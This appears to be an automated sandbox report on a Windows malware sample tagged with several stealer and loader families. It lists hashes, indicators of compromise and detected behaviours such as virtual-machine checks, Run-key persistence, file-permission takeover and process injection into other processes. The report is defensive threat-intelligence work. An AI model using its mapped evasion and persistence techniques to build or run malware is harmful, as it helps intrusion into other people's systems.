Analysis
- max time kernel
150s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/10/2026, 07:14
Static task
static1
Behavioral task
behavioral1
Sample
2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
Resource
win11ltsc2024-20260911-en
General
- Target 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
- Size 401KB
- Sample261022-h2qeksax6s
- SHA256 09b087694de7f19a37ae7e2b850d25700828b7890899127a84993e3fa64f31f0
- MD5 d6045ac2a3b2c9fbbf1c25d4b5c4ad67
- SHA1 13773107b922503c310795f2520831d51a7a3518
- SHA512 44968b6794677ce3fa3c7f03a35477601ee01e77d02dd93dcc3a5da612a3831c43a5e3e93bbee356d30bd738fa9cacc095d2043a2861d4b4da708926274deb8f
- SSDEEP 6144:ysO/zba+IQbXxFaK6cfyIoT7Oqbv5F0GR99ghZDVzS:CH7F6cf6T7Ow5JRD
- TLSH T16E948D16EA65107DF1AB9138CC674906E7B5784E07B19ACF03D0C9A22F276E29F3E711
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Looks for VirtualBox Guest Additions in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v42.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions Win-v41.exe - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 16 4616 cmd.exe -
pid Process 1460 powershell.exe 5888 powershell.exe 1056 powershell.exe 524 powershell.exe - Looks for VMWare Tools registry key 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v42.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v43.exe Key opened \REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools Win-v41.exe - Possible privilege escalation attempt 3 IoCs
pid Process 2936 takeown.exe 4356 icacls.exe 4824 icacls.exe - Executes dropped EXE 5 IoCs
pid Process 3352 Win-v42.exe 5744 Win-v43.exe 4616 cmd.exe 5396 svchost.exe 1264 Win-v41.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 4356 icacls.exe 4824 icacls.exe 2936 takeown.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\v4 = "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Explorer\\Win-v43.exe" 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe - File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 8 api64.ipify.org 10 api64.ipify.org - Power Settings 1 TTPs 7 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 4348 powercfg.exe 3244 powercfg.exe 2144 powercfg.exe 1632 powercfg.exe 4988 powercfg.exe 2960 powercfg.exe 1556 powercfg.exe - Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\Recovery\ReAgent.xml ReAgentc.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created C:\Windows\System32\Win-v42.exe 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe File opened for modification C:\Windows\system32\Recovery ReAgentc.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 5212 set thread context of 4616 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 137 PID 5212 set thread context of 5396 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 138 - Drops file in Windows directory 7 IoCs
description ioc Process File opened for modification C:\Windows\Logs\ReAgent\ReAgent.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\setuperr.log ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagerr.xml ReAgentc.exe File opened for modification C:\Windows\Panther\UnattendGC\diagwrn.xml ReAgentc.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_q2j11cxb.zro.ps1 powershell.exe File created C:\Windows\SystemTemp\__PSScriptPolicyTest_zndvfjnr.oi3.psm1 powershell.exe File created C:\Windows\Win-v41.exe 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe - Executes a command shell one-liner 1 TTPs 6 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1840 cmd.exe 1168 cmd.exe 4884 cmd.exe 5460 cmd.exe 4168 cmd.exe 5880 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname cmd.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain cmd.exe - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe - System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1168 cmd.exe 1792 PING.EXE - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 5880 cmd.exe - Modifies data under HKEY_USERS 52 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 1792 PING.EXE - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1464 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5888 powershell.exe 5888 powershell.exe 1056 powershell.exe 1056 powershell.exe 1056 powershell.exe 524 powershell.exe 524 powershell.exe 524 powershell.exe 3352 Win-v42.exe 3352 Win-v42.exe 5744 Win-v43.exe 5744 Win-v43.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 1460 powershell.exe 1460 powershell.exe 1460 powershell.exe 1460 powershell.exe 744 winlogon.exe 744 winlogon.exe 1264 Win-v41.exe 1264 Win-v41.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe 744 winlogon.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 572 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5888 powershell.exe Token: SeIncreaseQuotaPrivilege 5888 powershell.exe Token: SeSecurityPrivilege 5888 powershell.exe Token: SeTakeOwnershipPrivilege 5888 powershell.exe Token: SeLoadDriverPrivilege 5888 powershell.exe Token: SeSystemProfilePrivilege 5888 powershell.exe Token: SeSystemtimePrivilege 5888 powershell.exe Token: SeProfSingleProcessPrivilege 5888 powershell.exe Token: SeIncBasePriorityPrivilege 5888 powershell.exe Token: SeCreatePagefilePrivilege 5888 powershell.exe Token: SeBackupPrivilege 5888 powershell.exe Token: SeRestorePrivilege 5888 powershell.exe Token: SeShutdownPrivilege 5888 powershell.exe Token: SeDebugPrivilege 5888 powershell.exe Token: SeSystemEnvironmentPrivilege 5888 powershell.exe Token: SeRemoteShutdownPrivilege 5888 powershell.exe Token: SeUndockPrivilege 5888 powershell.exe Token: SeManageVolumePrivilege 5888 powershell.exe Token: 33 5888 powershell.exe Token: 34 5888 powershell.exe Token: 35 5888 powershell.exe Token: 36 5888 powershell.exe Token: SeDebugPrivilege 1056 powershell.exe Token: SeIncreaseQuotaPrivilege 1056 powershell.exe Token: SeSecurityPrivilege 1056 powershell.exe Token: SeTakeOwnershipPrivilege 1056 powershell.exe Token: SeLoadDriverPrivilege 1056 powershell.exe Token: SeSystemProfilePrivilege 1056 powershell.exe Token: SeSystemtimePrivilege 1056 powershell.exe Token: SeProfSingleProcessPrivilege 1056 powershell.exe Token: SeIncBasePriorityPrivilege 1056 powershell.exe Token: SeCreatePagefilePrivilege 1056 powershell.exe Token: SeBackupPrivilege 1056 powershell.exe Token: SeRestorePrivilege 1056 powershell.exe Token: SeShutdownPrivilege 1056 powershell.exe Token: SeDebugPrivilege 1056 powershell.exe Token: SeSystemEnvironmentPrivilege 1056 powershell.exe Token: SeRemoteShutdownPrivilege 1056 powershell.exe Token: SeUndockPrivilege 1056 powershell.exe Token: SeManageVolumePrivilege 1056 powershell.exe Token: 33 1056 powershell.exe Token: 34 1056 powershell.exe Token: 35 1056 powershell.exe Token: 36 1056 powershell.exe Token: SeIncreaseQuotaPrivilege 1056 powershell.exe Token: SeSecurityPrivilege 1056 powershell.exe Token: SeTakeOwnershipPrivilege 1056 powershell.exe Token: SeLoadDriverPrivilege 1056 powershell.exe Token: SeSystemProfilePrivilege 1056 powershell.exe Token: SeSystemtimePrivilege 1056 powershell.exe Token: SeProfSingleProcessPrivilege 1056 powershell.exe Token: SeIncBasePriorityPrivilege 1056 powershell.exe Token: SeCreatePagefilePrivilege 1056 powershell.exe Token: SeBackupPrivilege 1056 powershell.exe Token: SeRestorePrivilege 1056 powershell.exe Token: SeShutdownPrivilege 1056 powershell.exe Token: SeDebugPrivilege 1056 powershell.exe Token: SeSystemEnvironmentPrivilege 1056 powershell.exe Token: SeRemoteShutdownPrivilege 1056 powershell.exe Token: SeUndockPrivilege 1056 powershell.exe Token: SeManageVolumePrivilege 1056 powershell.exe Token: 33 1056 powershell.exe Token: 34 1056 powershell.exe Token: 35 1056 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4616 cmd.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5212 wrote to memory of 5888 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 89 PID 5212 wrote to memory of 1056 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 92 PID 5212 wrote to memory of 524 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 145 PID 5212 wrote to memory of 1464 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 96 PID 5212 wrote to memory of 1840 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 98 PID 1840 wrote to memory of 3348 1840 cmd.exe 100 PID 5212 wrote to memory of 4168 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 102 PID 4168 wrote to memory of 2936 4168 cmd.exe 104 PID 5212 wrote to memory of 5460 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 105 PID 5460 wrote to memory of 4356 5460 cmd.exe 107 PID 5212 wrote to memory of 4884 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 108 PID 4884 wrote to memory of 4824 4884 cmd.exe 110 PID 5212 wrote to memory of 2960 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 111 PID 5212 wrote to memory of 4988 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 115 PID 5212 wrote to memory of 1632 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 117 PID 5212 wrote to memory of 2144 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 121 PID 5212 wrote to memory of 3244 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 126 PID 5212 wrote to memory of 1556 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 130 PID 5212 wrote to memory of 4348 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 132 PID 5212 wrote to memory of 1168 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 134 PID 1168 wrote to memory of 1792 1168 cmd.exe 136 PID 5212 wrote to memory of 4616 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 137 PID 5212 wrote to memory of 5396 5212 2026-10-21_d6045ac2a3b2c9fbbf1c25d4b5c4ad67_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe 138 PID 5880 wrote to memory of 1460 5880 cmd.exe 140 PID 1460 wrote to memory of 744 1460 powershell.exe 5 PID 744 wrote to memory of 976 744 winlogon.exe 9 PID 744 wrote to memory of 984 744 winlogon.exe 10 PID 744 wrote to memory of 992 744 winlogon.exe 11 PID 744 wrote to memory of 1028 744 winlogon.exe 13 PID 744 wrote to memory of 1112 744 winlogon.exe 14 PID 744 wrote to memory of 1172 744 winlogon.exe 15 PID 744 wrote to memory of 1220 744 winlogon.exe 16 PID 744 wrote to memory of 1264 744 winlogon.exe 143 PID 744 wrote to memory of 1248 744 winlogon.exe 17 PID 744 wrote to memory of 1300 744 winlogon.exe 18 PID 744 wrote to memory of 1476 744 winlogon.exe 22 PID 744 wrote to memory of 1488 744 winlogon.exe 23 PID 744 wrote to memory of 1576 744 winlogon.exe 24 PID 744 wrote to memory of 1728 744 winlogon.exe 25 PID 744 wrote to memory of 1740 744 winlogon.exe 26 PID 744 wrote to memory of 1752 744 winlogon.exe 27 PID 744 wrote to memory of 1904 744 winlogon.exe 28 PID 744 wrote to memory of 1076 744 winlogon.exe 29 PID 744 wrote to memory of 1284 744 winlogon.exe 30 PID 744 wrote to memory of 1552 744 winlogon.exe 31 PID 744 wrote to memory of 2064 744 winlogon.exe 32 PID 744 wrote to memory of 2168 744 winlogon.exe 33 PID 744 wrote to memory of 2264 744 winlogon.exe 34 PID 744 wrote to memory of 2372 744 winlogon.exe 35 PID 744 wrote to memory of 2384 744 winlogon.exe 36 PID 744 wrote to memory of 2436 744 winlogon.exe 37 PID 744 wrote to memory of 2560 744 winlogon.exe 38 PID 744 wrote to memory of 2600 744 winlogon.exe 39 PID 744 wrote to memory of 2704 744 winlogon.exe 40 PID 744 wrote to memory of 2756 744 winlogon.exe 41 PID 744 wrote to memory of 2896 744 winlogon.exe 42 PID 744 wrote to memory of 2988 744 winlogon.exe 43 PID 744 wrote to memory of 3064 744 winlogon.exe 44 PID 744 wrote to memory of 3108 744 winlogon.exe 46 PID 744 wrote to memory of 3184 744 winlogon.exe 47 PID 744 wrote to memory of 3248 744 winlogon.exe 48 PID 744 wrote to memory of 3492 744 winlogon.exe 50 PID 744 wrote to memory of 3564 744 winlogon.exe 51 PID 744 wrote to memory of 3576 744 winlogon.exe 52 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:744 -
C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"2⤵PID:976
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:1172
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C:\Windows\Win-v41.exe"C:\Windows\Win-v41.exe"2⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1264 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1264 -s 4923⤵PID:524
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C:\Windows\system32\fontdrvhost.exe"fontdrvhost.exe"1⤵PID:984
